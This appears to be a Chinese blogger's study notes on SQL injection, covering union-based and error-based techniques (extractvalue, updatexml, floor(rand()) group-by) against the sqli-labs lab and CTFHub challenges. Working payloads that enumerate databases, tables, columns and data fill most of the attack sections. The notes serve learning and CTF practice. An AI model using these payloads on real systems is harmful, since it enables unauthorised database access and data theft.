sql注入基本情况了解
联合查询注入union
报错注入

一.sql注入基本信息

1. sql注入方式

常见的主要分为三种:
1. 联合查询注入(union)
2. 报错注入
3. 盲注(布尔盲注,时间盲注)

2.注入点提交方式

GET注入
提交数据的方式是GET,注入点的位置在GET参数部分。比如有这样的一个链接 http://xxx.com/news.php?id=1 , id 是注入点,一般注入点是url为主。

POST注入
使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中,如登录框、搜索框之类的。

Cookie注入
HTTP请求的时候会带上客户端的Cookie, 注入点存在 Cookie 当中的某个字段中。这种情况可以在控制台中查看Cookie,查看的时候可以看一下是否与平常见到的Cookie有所不同。

HTTP头部注入
注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

大部分都是GET注入和POST注入,只需要在url或则输入框中输入就好了,而Cookie注入和HTTP头部注入通常需要抓包才能修改,也很少能遇到这种情况。

3.常用知识

(一)判断注入类型

主要为数字型和字符型
猜测SQL语句为:select * from main where id=$id;

  1. 首先先使用单引号(')判断数据库是否执行
  2. 使用双引号(‘’)进行判断是否为字符型(字符型将不影响内容)

(二)information_schema库

这是版本高于5.0才会存在的一个库,可用用来查询库名、表名、列名、用户名、用户权限等等,几乎包括了所有操作。

# table 1
schemata --> 存储该用户创建的所有数据库的库名
schema_name --> 记录数据库库名的字段# table 2
tables --> 存储该用户创建的所有数据库的库名和表名
table_schema --> 记录数据库库名的字段
table_name --> 记录数据库表名的字段# table 3
columns --> 存储该用户创建所有数据库的库名、表名和字段名
table_schema --> 记录数据库库名的字段
table_name --> 记录数据库表名的字段
column_name --> 记录表中的字段名的字段

(三)爆显位

查询字段数目主要利用MySQL中的order by来判断字段数目,order by一般采用数学中的二分法来判断具体的字段数目。

?id=1′ order by 1 –+ 此时页面正常,继续换更大的数字测试
?id=1′ order by 10 –+ 此时页面返回错误,更换小的数字测试
?id=1′ order by 5 –+ 此时页面依然报错,继续缩小数值测试
?id=1′ order by 3 –+ 此时页面返回正常,更换大的数字测试
?id=1′ order by 4 –+ 此时页面返回错误,3正常,4错误,说明字段数目就是 3

这样子我们只能知道有多少位,但是不知道有多少位显示出来,我们需要知道当前这个页面里面的值,调用的时候需要具体到那个数据库中的那个表的哪个字段,所以故意够着一个错误的语句,来爆出错误的字段:

id=-1' union select 1,2,3 -+ 通过一个不存在的id进行报错

(四)函数

二.union联合查询注入

1. 找到在哪里注入

(1)登录框
(2)GET的url
(3)POST的cookie
(4)HTTP头部

2.判断类型

分别输入id=1 id=1' id=1''
判断是数字型还是字符型

3.爆显位

?id=1′ order by 1 –+ 此时页面正常,继续换更大的数字测试
?id=1′ order by 10 –+ 此时页面返回错误,更换小的数字测试
?id=1′ order by 5 –+ 此时页面依然报错,继续缩小数值测试
?id=1′ order by 3 –+ 此时页面返回正常,更换大的数字测试
?id=1′ order by 4 –+ 此时页面返回错误,3正常,4错误,说明字段数目就是 3

id=-1′ UNION SELECT 1,2,3--+ 通过id=-1 一个负数不存在的id值来触发报错

4.爆数据库,表,数据

通过爆显位可以得知http://127.0.0.1/sqli-labs/Less-1/index.php?id=-1' union select 1,2,3--+是能成功运行且2和3都是可以显示出来的,然后将其中一个替换掉

http://127.0.0.1/sqli-labs/Less-1/index.php?id=1' and 1=2 union select 1,2,database() --+
我们也可以用version(),user()等来查看想要的信息

加入一个知识点(group_concat)
group_concat能把所有东西变成一条字符串,所以我们就是用group_concat函数来获取数据。

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() #查询当前数据库中的表名
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='X'#查询表中的字段名
-1' union select 1,2,group_concat(XX,XX,XX) from XX #查询数据

实例讲解

  1. ctfhub整数型注入
    输入and并没有被屏蔽

    爆库名
    爆表名
    其中flag表更像我们需要的

2.字符型注入
与上一题相似

三.报错注入

1.了解

报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。

报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这里主要记录一下xpath语法错误和concat+rand()+group_by()导致主键重复

2.xpath语法错误

(一) extractvalue函数
函数原型:extractvalue(xml_document,Xpath_string)
第一个参数我们直接设为任意数,第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。
pyload: id='and(select extractvalue("anything",concat('~',(select语句))))

查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

0x7e=‘~’
extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位

3.实例



这里我们只能得到32位的flag
我们可以借助mid函数实现

select mid(column_name,length) from table_name
#长度一般用234都行

1 and extractvalue(null,concat(0x7e,mid((select flag from flag),2),0x7e))

(二)updatexml
与(一)类似

函数原型:updatexml(xml_document,xpath_string,new_value)
第二个参数跟extractvalue函数的第二个参数一样,因此也可以利用,且利用方式相同

payload:id='and(select updatexml("anything",concat('~',(select语句())),"anything"))

爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

(三)concat+rand()+group_by()导致主键重复
这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。

rand():

生成0~1之间的随机数,可以给定一个随机数的种子,对于每一个给定的种子,rand()函数都会产生一系列可以复现的数字

floor():

对任意正或者负的十进制值向下取整

通常利用这两个函数的方法是floor(rand(0)*2) ,其会生成0和1两个数

group by

group by是根据一个或多个列对结果集进行分组的sql语句,其用法为:

SELECT column_name, aggregate_function(column_name) FROM table_name WHERE column_name operator value GROUP BY column_name

爆数据库名:'union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆表名:'union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆列名:'union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆数据:'union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a

不能使用group_concat函数,所以用limit语句来限制查询结果的列数

四.盲注

1.布尔盲注

找不到原因,学不下去了
sqlmap一直接不通url

CTF-Web SQL注入相关推荐

  1. CG CTF WEB SQL注入2

    http://4.chinalover.sinaapp.com/web6/index.php 题解: <html> <head> Secure Web Login II < ...

  2. CG CTF WEB SQL注入1

    http://chinalover.sinaapp.com/index.php 题解: <html> <head> Secure Web Login </head> ...

  3. CTF系列之Web——SQL注入

    前言 在刚学习SQL注入的过程中非常艰难,查资料的时间有一周这么长,点开的网页也不下一千,认真读的也最少有两百,可是能引导入门的真的没几篇,都是复制来复制去的,没意思,感觉就是在浪费时间.有很多知识点 ...

  4. CTF中SQL注入常见题型整理

    前言 SQL在CTF每一次比赛中基本上都会出现,所以有了这一篇总结,防忘. 简而言之:SQL注入用户输入的数据变成了代码被执行. 这一篇这要写的是sql注入中各种经典类型的案例.暂时只写这么一点,后面 ...

  5. ctf php sql注入,【CTF-Web Learning 1】0x01 SQL注入之宽字节注入

    0x01 前言 准备系统梳理和总结提高这一年所学的关于Web方面东西,如有问题欢迎指点. 在计算机中,字符的表示与存储都离不开编码.例如ASCII,utf-8,gbk2312等.通常字符的表示都只需1 ...

  6. Web—SQL注入攻击

    文章目录 一.mysql常用语句 二.SQL注入概念 1. 产生原因 2. 攻击分类 三.攻击流程 1. 常用检测语句如何识别SQL注入 2. Mysql注入常用函数 3. 查询数据的核心语法 4. ...

  7. CG CTF WEB SQL Injection

    http://chinalover.sinaapp.com/web15/index.php 题解: <!-- #GOAL: login as admin,then get the flag; e ...

  8. ctf php sql注入,CTF—攻防练习之HTTP—SQL注入(SSI注入)

    主机:192.168.32.152 靶机:192.168.32.161 ssI是赋予html静态页面的动态效果,通过ssi执行命令,返回对应的结果,若在网站目录中发现了.stm .shtm .shtm ...

  9. CTFHub闯关之SQL注入

    CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式.CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过 ...

  10. [网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.这篇文章主要介绍5月9日参加津门杯CTF题目知识,包括power_cut.hate_ ...

最新文章

  1. [HTML]JS添加表格
  2. js离焦事件_JavaScript中的事件
  3. poj-1845 Sumdiv nyoj - 928 小M的因子和
  4. CodeForces - 1486F Pairs of Paths(树上计数+容斥)
  5. 人脸注册源码faceregiste
  6. 指定开始_Flink-Kafka指定offset的五种方式
  7. C语言 二维数组遍历 - C语言零基础入门教程
  8. 分析MySQL数据类型的长度
  9. 【SDK】Memory read error at 0xF8007080
  10. uni-app 小程序多图上传
  11. python学习_Python学习资料整理
  12. Tensorflow:tfrecord数据读取和保存
  13. centos ifconfig 无法使用问题
  14. Python 中的 classmethod 和 staticmethod 有什么具体用途?
  15. Stm32 固件库移植
  16. 偏心率计算公式matlab,结构计算整体指标(3)——扭转位移比及楼层偏心率
  17. 用户分层之RFM模型
  18. unity教程之Unity引擎
  19. 2016-3-14恬淡努力的一天
  20. MySQL约束条件和多表查询方式详解

热门文章

  1. 楼房噪音模拟测试软件,房子不隔音?4种方法让你进入“静音”模式!
  2. sqlyog怎么查找表_sqlyog各种搜索方法
  3. OMP算法的物理意义表示
  4. JDK帮助文档使用方法
  5. 漫画算法python版下载_漫画算法-小灰的算法之旅.pdf
  6. C语言从入门到精通pdf
  7. 通达OA - 数据备份与恢复指南
  8. x265中checkMerge2Nx2N_rd0_4()分析(版本2.8)
  9. sql服务器数据库主文件,数据库文件和文件组
  10. Windows10系统的MSDN下载和通过U盘进行安装的步骤(亲测有效)